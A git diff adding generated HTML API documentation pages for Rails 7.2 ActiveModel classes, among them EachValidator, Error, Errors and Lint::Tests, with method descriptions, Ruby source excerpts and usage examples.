+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + restore_attributes(attr_names = changed) + +

+ + +
+

Restore all previous data of the provided attributes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 313
+    def restore_attributes(attr_names = changed)
+      attr_names.each { |attr_name| restore_attribute!(attr_name) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/EachValidator.html b/src/7.2/classes/ActiveModel/EachValidator.html new file mode 100644 index 0000000000..0aab052bd4 --- /dev/null +++ b/src/7.2/classes/ActiveModel/EachValidator.html @@ -0,0 +1,258 @@ +--- +title: ActiveModel::EachValidator +layout: default +--- +
+ +
+
+ +
+ +

Active Model EachValidator

+ +

EachValidator is a validator which iterates through the attributes given in the options hash invoking the validate_each method passing in the record, attribute, and value.

+ +

All Active Model validations are built on top of this validator.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + attributes
+ + + + +

Class Public methods

+ +
+

+ + new(options) + +

+ + +
+

Returns a new validator instance. All options will be available via the options reader, however the :attributes option will be removed and instead be made available through the attributes reader.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 140
+    def initialize(options)
+      @attributes = Array(options.delete(:attributes))
+      raise ArgumentError, ":attributes cannot be blank" if @attributes.empty?
+      super
+      check_validity!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + check_validity!() + +

+ + +
+

Hook method that gets called by the initializer allowing verification that the arguments supplied are valid. You could for example raise an ArgumentError when invalid options are supplied.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 168
+    def check_validity!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate(record) + +

+ + +
+

Performs validation on the supplied record. By default this will call validate_each to determine validity therefore subclasses should override validate_each with validation logic.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 150
+    def validate(record)
+      attributes.each do |attribute|
+        value = record.read_attribute_for_validation(attribute)
+        next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
+        value = prepare_value_for_validation(value, record, attribute)
+        validate_each(record, attribute, value)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_each(record, attribute, value) + +

+ + +
+

Override this method in subclasses with the validation logic, adding errors to the records errors array where necessary.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 161
+    def validate_each(record, attribute, value)
+      raise NotImplementedError, "Subclasses must implement a validate_each(record, attribute, value) method"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Error.html b/src/7.2/classes/ActiveModel/Error.html new file mode 100644 index 0000000000..dfa6c31cc6 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Error.html @@ -0,0 +1,494 @@ +--- +title: ActiveModel::Error +layout: default +--- +
+ +
+
+ +
+ +

Active Model Error

+ +

Represents one single error

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CALLBACKS_OPTIONS=[:if, :unless, :on, :allow_nil, :allow_blank, :strict]
MESSAGE_OPTIONS=[:message]
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + attribute

The attribute of base which the error belongs to

+ [R] + base

The object which the error belongs to

+ [R] + options

The options provided when calling errors#add

+ [R] + raw_type

The raw value provided as the second parameter when calling errors#add

+ [R] + type

The type of error, defaults to :invalid unless specified

+ + + + +

Class Public methods

+ +
+

+ + new(base, attribute, type = :invalid, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 103
+    def initialize(base, attribute, type = :invalid, **options)
+      @base = base
+      @attribute = attribute
+      @raw_type = type
+      @type = type || :invalid
+      @options = options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + detail() + +

+ + +
+ +
+ + + + + +
+ Alias for: details +
+ + + + +
+ +
+

+ + details() + +

+ + +
+

Returns the error details.

+ +
error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+error.details
+# => { error: :too_short, count: 5 }
+
+
+ + + +
+ Also aliased as: detail +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 149
+    def details
+      { error: raw_type }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_message() + +

+ + +
+

Returns the full error message.

+ +
error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+error.full_message
+# => "Name is too short (minimum is 5 characters)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 159
+    def full_message
+      self.class.full_message(attribute, message, @base)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match?(attribute, type = nil, **options) + +

+ + +
+

See if error matches provided attribute, type, and options.

+ +

Omitted params are not checked for a match.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 166
+    def match?(attribute, type = nil, **options)
+      if @attribute != attribute || (type && @type != type)
+        return false
+      end
+
+      options.each do |key, value|
+        if @options[key] != value
+          return false
+        end
+      end
+
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message() + +

+ + +
+

Returns the error message.

+ +
error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+error.message
+# => "is too short (minimum is 5 characters)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 135
+    def message
+      case raw_type
+      when Symbol
+        self.class.generate_message(attribute, raw_type, @base, options.except(*CALLBACKS_OPTIONS))
+      else
+        raw_type
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_match?(attribute, type, **options) + +

+ + +
+

See if error matches provided attribute, type, and options exactly.

+ +

All params must be equal to Error’s own attributes to be considered a strict match.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 184
+    def strict_match?(attribute, type, **options)
+      return false unless match?(attribute, type)
+
+      options == @options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + attributes_for_hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/error.rb, line 204
+      def attributes_for_hash
+        [@base, @attribute, @raw_type, @options.except(*CALLBACKS_OPTIONS)]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Errors.html b/src/7.2/classes/ActiveModel/Errors.html new file mode 100644 index 0000000000..9ec30047c5 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Errors.html @@ -0,0 +1,1442 @@ +--- +title: ActiveModel::Errors +layout: default +--- +
+ +
+
+ +
+ +

Active Model Errors

+ +

Provides error related functionalities you can include in your object for handling error messages and interacting with Action View helpers.

+ +

A minimal implementation could be:

+ +
class Person
+  # Required dependency for ActiveModel::Errors
+  extend ActiveModel::Naming
+
+  def initialize
+    @errors = ActiveModel::Errors.new(self)
+  end
+
+  attr_accessor :name
+  attr_reader   :errors
+
+  def validate!
+    errors.add(:name, :blank, message: "cannot be nil") if name.nil?
+  end
+
+  # The following methods are needed to be minimally implemented
+
+  def read_attribute_for_validation(attr)
+    send(attr)
+  end
+
+  def self.human_attribute_name(attr, options = {})
+    attr
+  end
+
+  def self.lookup_ancestors
+    [self]
+  end
+end
+
+ +

The last three methods are required in your object for Errors to be able to generate error messages correctly and also handle multiple languages. Of course, if you extend your object with ActiveModel::Translation you will not need to implement the last two. Likewise, using ActiveModel::Validations will handle the validation related methods for you.

+ +

The above allows you to do:

+ +
person = Person.new
+person.validate!            # => ["cannot be nil"]
+person.errors.full_messages # => ["name cannot be nil"]
+# etc..
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + errors

The actual array of Error objects This method is aliased to objects.

+ [R] + objects

The actual array of Error objects This method is aliased to objects.

+ + + + +

Class Public methods

+ +
+

+ + new(base) + +

+ + +
+

Pass in the instance of the object that is using the errors object.

+ +
class Person
+  def initialize
+    @errors = ActiveModel::Errors.new(self)
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 117
+    def initialize(base)
+      @base = base
+      @errors = []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](attribute) + +

+ + +
+

When passed a symbol or a name of a method, returns an array of errors for the method.

+ +
person.errors[:name]  # => ["cannot be nil"]
+person.errors['name'] # => ["cannot be nil"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 229
+    def [](attribute)
+      messages_for(attribute)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(attribute, type = :invalid, **options) + +

+ + +
+

Adds a new error of type on attribute. More than one error can be added to the same attribute. If no type is supplied, :invalid is assumed.

+ +
person.errors.add(:name)
+# Adds <#ActiveModel::Error attribute=name, type=invalid>
+person.errors.add(:name, :not_implemented, message: "must be implemented")
+# Adds <#ActiveModel::Error attribute=name, type=not_implemented,
+                            options={:message=>"must be implemented"}>
+
+person.errors.messages
+# => {:name=>["is invalid", "must be implemented"]}
+
+ +

If type is a string, it will be used as error message.

+ +

If type is a symbol, it will be translated using the appropriate scope (see generate_message).

+ +
person.errors.add(:name, :blank)
+person.errors.messages
+# => {:name=>["can't be blank"]}
+
+person.errors.add(:name, :too_long, count: 25)
+person.errors.messages
+# => ["is too long (maximum is 25 characters)"]
+
+ +

If type is a proc, it will be called, allowing for things like Time.now to be used within an error.

+ +

If the :strict option is set to true, it will raise ActiveModel::StrictValidationFailed instead of adding the error. :strict option can also be set to any other exception.

+ +
person.errors.add(:name, :invalid, strict: true)
+# => ActiveModel::StrictValidationFailed: Name is invalid
+person.errors.add(:name, :invalid, strict: NameIsInvalid)
+# => NameIsInvalid: Name is invalid
+
+person.errors.messages # => {}
+
+ +

attribute should be set to :base if the error is not directly associated with a single attribute.

+ +
person.errors.add(:base, :name_or_email_blank,
+  message: "either name or email must be present")
+person.errors.messages
+# => {:base=>["either name or email must be present"]}
+person.errors.details
+# => {:base=>[{error: :name_or_email_blank}]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 342
+    def add(attribute, type = :invalid, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      error = Error.new(@base, attribute, type, **options)
+
+      if exception = options[:strict]
+        exception = ActiveModel::StrictValidationFailed if exception == true
+        raise exception, error.full_message
+      end
+
+      @errors.append(error)
+
+      error
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + added?(attribute, type = :invalid, options = {}) + +

+ + +
+

Returns true if an error matches provided attribute and type, or false otherwise. type is treated the same as for add.

+ +
person.errors.add :name, :blank
+person.errors.added? :name, :blank           # => true
+person.errors.added? :name, "can't be blank" # => true
+
+ +

If the error requires options, then it returns true with the correct options, or false with incorrect or missing options.

+ +
person.errors.add :name, :too_long, count: 25
+person.errors.added? :name, :too_long, count: 25                     # => true
+person.errors.added? :name, "is too long (maximum is 25 characters)" # => true
+person.errors.added? :name, :too_long, count: 24                     # => false
+person.errors.added? :name, :too_long                                # => false
+person.errors.added? :name, "is too long"                            # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 372
+    def added?(attribute, type = :invalid, options = {})
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+
+      if type.is_a? Symbol
+        @errors.any? { |error|
+          error.strict_match?(attribute, type, **options)
+        }
+      else
+        messages_for(attribute).include?(type)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(options = nil) + +

+ + +
+

Returns a Hash that can be used as the JSON representation for this object. You can pass the :full_messages option. This determines if the JSON object should contain full messages or not (false by default).

+ +
person.errors.as_json                      # => {:name=>["cannot be nil"]}
+person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 247
+    def as_json(options = nil)
+      to_hash(options && options[:full_messages])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_names() + +

+ + +
+

Returns all error attribute names

+ +
person.errors.messages        # => {:name=>["cannot be nil", "must be specified"]}
+person.errors.attribute_names # => [:name]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 237
+    def attribute_names
+      @errors.map(&:attribute).uniq.freeze
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear + + +

+ + +
+

Clears all errors. Clearing the errors does not, however, make the model valid. The next time the validations are run (for example, via ActiveRecord::Validations#valid?), the errors collection will be filled again if any validations fail.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + delete(attribute, type = nil, **options) + +

+ + +
+

Delete messages for key. Returns the deleted messages.

+ +
person.errors[:name]        # => ["cannot be nil"]
+person.errors.delete(:name) # => ["cannot be nil"]
+person.errors[:name]        # => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 215
+    def delete(attribute, type = nil, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      matches = where(attribute, type, **options)
+      matches.each do |error|
+        @errors.delete(error)
+      end
+      matches.map(&:message).presence
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + details() + +

+ + +
+

Returns a Hash of attributes with an array of their error details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 276
+    def details
+      hash = group_by_attribute.transform_values do |errors|
+        errors.map(&:details)
+      end
+      hash.default = EMPTY_ARRAY
+      hash.freeze
+      hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + + +

+ + +
+

Iterates through each error object.

+ +
person.errors.add(:name, :too_short, count: 2)
+person.errors.each do |error|
+  # Will yield <#ActiveModel::Error attribute=name, type=too_short,
+                                    options={:count=>3}>
+end
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + empty? + + +

+ + +
+

Returns true if there are no errors.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + full_message(attribute, message) + +

+ + +
+

Returns a full message for a given attribute.

+ +
person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 451
+    def full_message(attribute, message)
+      Error.full_message(attribute, message, @base)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_messages() + +

+ + +
+

Returns all the full error messages in an array.

+ +
class Person
+  validates_presence_of :name, :address, :email
+  validates_length_of :name, in: 5..30
+end
+
+person = Person.create(address: '123 First St.')
+person.errors.full_messages
+# => ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
+
+
+ + + +
+ Also aliased as: to_a +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 415
+    def full_messages
+      @errors.map(&:full_message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_messages_for(attribute) + +

+ + +
+

Returns all the full error messages for a given attribute in an array.

+ +
class Person
+  validates_presence_of :name, :email
+  validates_length_of :name, in: 5..30
+end
+
+person = Person.create()
+person.errors.full_messages_for(:name)
+# => ["Name is too short (minimum is 5 characters)", "Name can't be blank"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 430
+    def full_messages_for(attribute)
+      where(attribute).map(&:full_message).freeze
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_message(attribute, type = :invalid, options = {}) + +

+ + +
+

Translates an error message in its default scope (activemodel.errors.messages).

+ +

Error messages are first looked up in activemodel.errors.models.MODEL.attributes.ATTRIBUTE.MESSAGE, if it’s not there, it’s looked up in activemodel.errors.models.MODEL.MESSAGE and if that is not there also, it returns the translation of the default message (e.g. activemodel.errors.messages.MESSAGE). The translated model name, translated attribute name, and the value are available for interpolation.

+ +

When using inheritance in your models, it will check all the inherited models too, but only if the model itself hasn’t been found. Say you have class Admin < User; end and you wanted the translation for the :blank error message for the title attribute, it looks for these translations:

+
  • +

    activemodel.errors.models.admin.attributes.title.blank

    +
  • +

    activemodel.errors.models.admin.blank

    +
  • +

    activemodel.errors.models.user.attributes.title.blank

    +
  • +

    activemodel.errors.models.user.blank

    +
  • +

    any default you provided through the options hash (in the activemodel.errors scope)

    +
  • +

    activemodel.errors.messages.blank

    +
  • +

    errors.attributes.title.blank

    +
  • +

    errors.messages.blank

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 479
+    def generate_message(attribute, type = :invalid, options = {})
+      Error.generate_message(attribute, type, @base, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + group_by_attribute() + +

+ + +
+

Returns a Hash of attributes with an array of their Error objects.

+ +
person.errors.group_by_attribute
+# => {:name=>[<#ActiveModel::Error>, <#ActiveModel::Error>]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 289
+    def group_by_attribute
+      @errors.group_by(&:attribute)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_key?(attribute) + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + import(error, override_options = {}) + +

+ + +
+

Imports one error. Imported errors are wrapped as a NestedError, providing access to original error object. If attribute or type needs to be overridden, use override_options.

+ +

Options

+
  • +

    :attribute - Override the attribute the error belongs to.

    +
  • +

    :type - Override type of the error.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 154
+    def import(error, override_options = {})
+      [:attribute, :type].each do |key|
+        if override_options.key?(key)
+          override_options[key] = override_options[key].to_sym
+        end
+      end
+      @errors.append(NestedError.new(@base, error, override_options))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + include?(attribute) + +

+ + +
+

Returns true if the error messages include an error for the given key attribute, false otherwise.

+ +
person.errors.messages        # => {:name=>["cannot be nil"]}
+person.errors.include?(:name) # => true
+person.errors.include?(:age)  # => false
+
+
+ + + +
+ Also aliased as: has_key?, key? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 202
+    def include?(attribute)
+      @errors.any? { |error|
+        error.match?(attribute.to_sym)
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key?(attribute) + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + merge!(other) + +

+ + +
+

Merges the errors from other, each Error wrapped as NestedError.

+ +

Parameters

+ + +

Examples

+ +
person.errors.merge!(other)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 174
+    def merge!(other)
+      return errors if equal?(other)
+
+      other.errors.each { |error|
+        import(error)
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + messages() + +

+ + +
+

Returns a Hash of attributes with an array of their error messages.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 268
+    def messages
+      hash = to_hash
+      hash.default = EMPTY_ARRAY
+      hash.freeze
+      hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + messages_for(attribute) + +

+ + +
+

Returns all the error messages for a given attribute in an array.

+ +
class Person
+  validates_presence_of :name, :email
+  validates_length_of :name, in: 5..30
+end
+
+person = Person.create()
+person.errors.messages_for(:name)
+# => ["is too short (minimum is 5 characters)", "can't be blank"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 444
+    def messages_for(attribute)
+      where(attribute).map(&:message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + of_kind?(attribute, type = :invalid) + +

+ + +
+

Returns true if an error on the attribute with the given type is present, or false otherwise. type is treated the same as for add.

+ +
person.errors.add :age
+person.errors.add :name, :too_long, count: 25
+person.errors.of_kind? :age                                            # => true
+person.errors.of_kind? :name                                           # => false
+person.errors.of_kind? :name, :too_long                                # => true
+person.errors.of_kind? :name, "is too long (maximum is 25 characters)" # => true
+person.errors.of_kind? :name, :not_too_long                            # => false
+person.errors.of_kind? :name, "is too long"                            # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 395
+    def of_kind?(attribute, type = :invalid)
+      attribute, type = normalize_arguments(attribute, type)
+
+      if type.is_a? Symbol
+        !where(attribute, type).empty?
+      else
+        messages_for(attribute).include?(type)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size + + +

+ + +
+

Returns number of errors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 103
+    def_delegators :@errors, :each, :clear, :empty?, :size, :uniq!
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_a() + +

+ + +
+ +
+ + + + + +
+ Alias for: full_messages +
+ + + + +
+ +
+

+ + to_hash(full_messages = false) + +

+ + +
+

Returns a Hash of attributes with their error messages. If full_messages is true, it will contain full messages (see full_message).

+ +
person.errors.to_hash       # => {:name=>["cannot be nil"]}
+person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 256
+    def to_hash(full_messages = false)
+      message_method = full_messages ? :full_message : :message
+      group_by_attribute.transform_values do |errors|
+        errors.map(&message_method)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + where(attribute, type = nil, **options) + +

+ + +
+

Search for errors matching attribute, type, or options.

+ +

Only supplied params will be matched.

+ +
person.errors.where(:name) # => all name errors.
+person.errors.where(:name, :too_short) # => all name errors being too short
+person.errors.where(:name, :too_short, minimum: 2) # => all name errors being too short and minimum is 2
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 189
+    def where(attribute, type = nil, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      @errors.select { |error|
+        error.match?(attribute, type, **options)
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/ForbiddenAttributesError.html b/src/7.2/classes/ActiveModel/ForbiddenAttributesError.html new file mode 100644 index 0000000000..7d14095b3f --- /dev/null +++ b/src/7.2/classes/ActiveModel/ForbiddenAttributesError.html @@ -0,0 +1,80 @@ +--- +title: ActiveModel::ForbiddenAttributesError +layout: default +--- +
+ +
+
+ +
+ +

Active Model ForbiddenAttributesError

+ +

Raised when forbidden attributes are used for mass assignment.

+ +
class Person < ActiveRecord::Base
+end
+
+params = ActionController::Parameters.new(name: 'Bob')
+Person.new(params)
+# => ActiveModel::ForbiddenAttributesError
+
+params.permit!
+Person.new(params)
+# => #<Person id: nil, name: "Bob">
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Lint.html b/src/7.2/classes/ActiveModel/Lint.html new file mode 100644 index 0000000000..b4f63fa756 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Lint.html @@ -0,0 +1,67 @@ +--- +title: ActiveModel::Lint +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Lint/Tests.html b/src/7.2/classes/ActiveModel/Lint/Tests.html new file mode 100644 index 0000000000..370a9a6433 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Lint/Tests.html @@ -0,0 +1,338 @@ +--- +title: ActiveModel::Lint::Tests +layout: default +--- +
+ +
+
+ +
+ +

Active Model Lint Tests

+ +

You can test whether an object is compliant with the Active Model API by including ActiveModel::Lint::Tests in your TestCase. It will include tests that tell you whether your object is fully compliant, or if not, which aspects of the API are not implemented.

+ +

Note an object is not required to implement all APIs in order to work with Action Pack. This module only intends to provide guidance in case you want all features out of the box.

+ +

These tests do not attempt to determine the semantic correctness of the returned values. For instance, you could implement valid? to always return true, and the tests would pass. It is up to you to ensure that the values are semantically meaningful.

+ +

Objects you pass in are expected to return a compliant object from a call to to_model. It is perfectly fine for to_model to return self.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + test_errors_aref() + +

+ + +
+

Passes if the object’s model responds to errors and if calling [](attribute) on the result of this method returns an array. Fails otherwise.

+ +

errors[attribute] is used to retrieve the errors of a model for a given attribute. If errors are present, the method should return an array of strings that are the errors for the attribute in question. If localization is used, the strings should be localized for the current locale. If no error is present, the method should return an empty array.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 102
+      def test_errors_aref
+        assert_respond_to model, :errors
+        assert_equal [], model.errors[:hello], "errors#[] should return an empty Array"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_model_naming() + +

+ + +
+

Passes if the object’s model responds to model_name both as an instance method and as a class method, and if calling this method returns a string with some convenience methods: :human, :singular and :plural.

+ +

Check ActiveModel::Naming for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 81
+      def test_model_naming
+        assert_respond_to model.class, :model_name
+        model_name = model.class.model_name
+        assert_respond_to model_name, :to_str
+        assert_respond_to model_name.human, :to_str
+        assert_respond_to model_name.singular, :to_str
+        assert_respond_to model_name.plural, :to_str
+
+        assert_respond_to model, :model_name
+        assert_equal model.model_name, model.class.model_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_persisted?() + +

+ + +
+

Passes if the object’s model responds to persisted? and if calling this method returns either true or false. Fails otherwise.

+ +

persisted? is used when calculating the URL for an object. If the object is not persisted, a form for that object, for instance, will route to the create action. If it is persisted, a form for the object will route to the update action.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 70
+      def test_persisted?
+        assert_respond_to model, :persisted?
+        assert_boolean model.persisted?, "persisted?"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_to_key() + +

+ + +
+

Passes if the object’s model responds to to_key and if calling this method returns nil when the object is not persisted. Fails otherwise.

+ +

to_key returns an Enumerable of all (primary) key attributes of the model, and is used to a generate unique DOM id for the object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 31
+      def test_to_key
+        assert_respond_to model, :to_key
+        def model.persisted?() false end
+        assert model.to_key.nil?, "to_key should return nil when `persisted?` returns false"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_to_param() + +

+ + +
+

Passes if the object’s model responds to to_param and if calling this method returns nil when the object is not persisted. Fails otherwise.

+ +

to_param is used to represent the object’s key in URLs. Implementers can decide to either raise an exception or provide a default in case the record uses a composite primary key. There are no tests for this behavior in lint because it doesn’t make sense to force any of the possible implementation strategies on the implementer.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 46
+      def test_to_param
+        assert_respond_to model, :to_param
+        def model.to_key() [1] end
+        def model.persisted?() false end
+        assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_to_partial_path() + +

+ + +
+

Passes if the object’s model responds to to_partial_path and if calling this method returns a string. Fails otherwise.

+ +

to_partial_path is used for looking up partials. For example, a BlogPost model might return β€œblog_posts/blog_post”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/lint.rb, line 58
+      def test_to_partial_path
+        assert_respond_to model, :to_partial_path
+        assert_kind_of String, model.to_partial_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/MissingAttributeError.html b/src/7.2/classes/ActiveModel/MissingAttributeError.html new file mode 100644 index 0000000000..c77b285aeb --- /dev/null +++ b/src/7.2/classes/ActiveModel/MissingAttributeError.html @@ -0,0 +1,75 @@ +--- +title: ActiveModel::MissingAttributeError +layout: default +--- +
+ +
+
+ +
+ +

Raised when an attribute is not defined.

+ +
class User < ActiveRecord::Base
+  has_many :pets
+end
+
+user = User.first
+user.pets.select(:id).first.user_id
+# => ActiveModel::MissingAttributeError: missing attribute 'user_id' for Pet
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
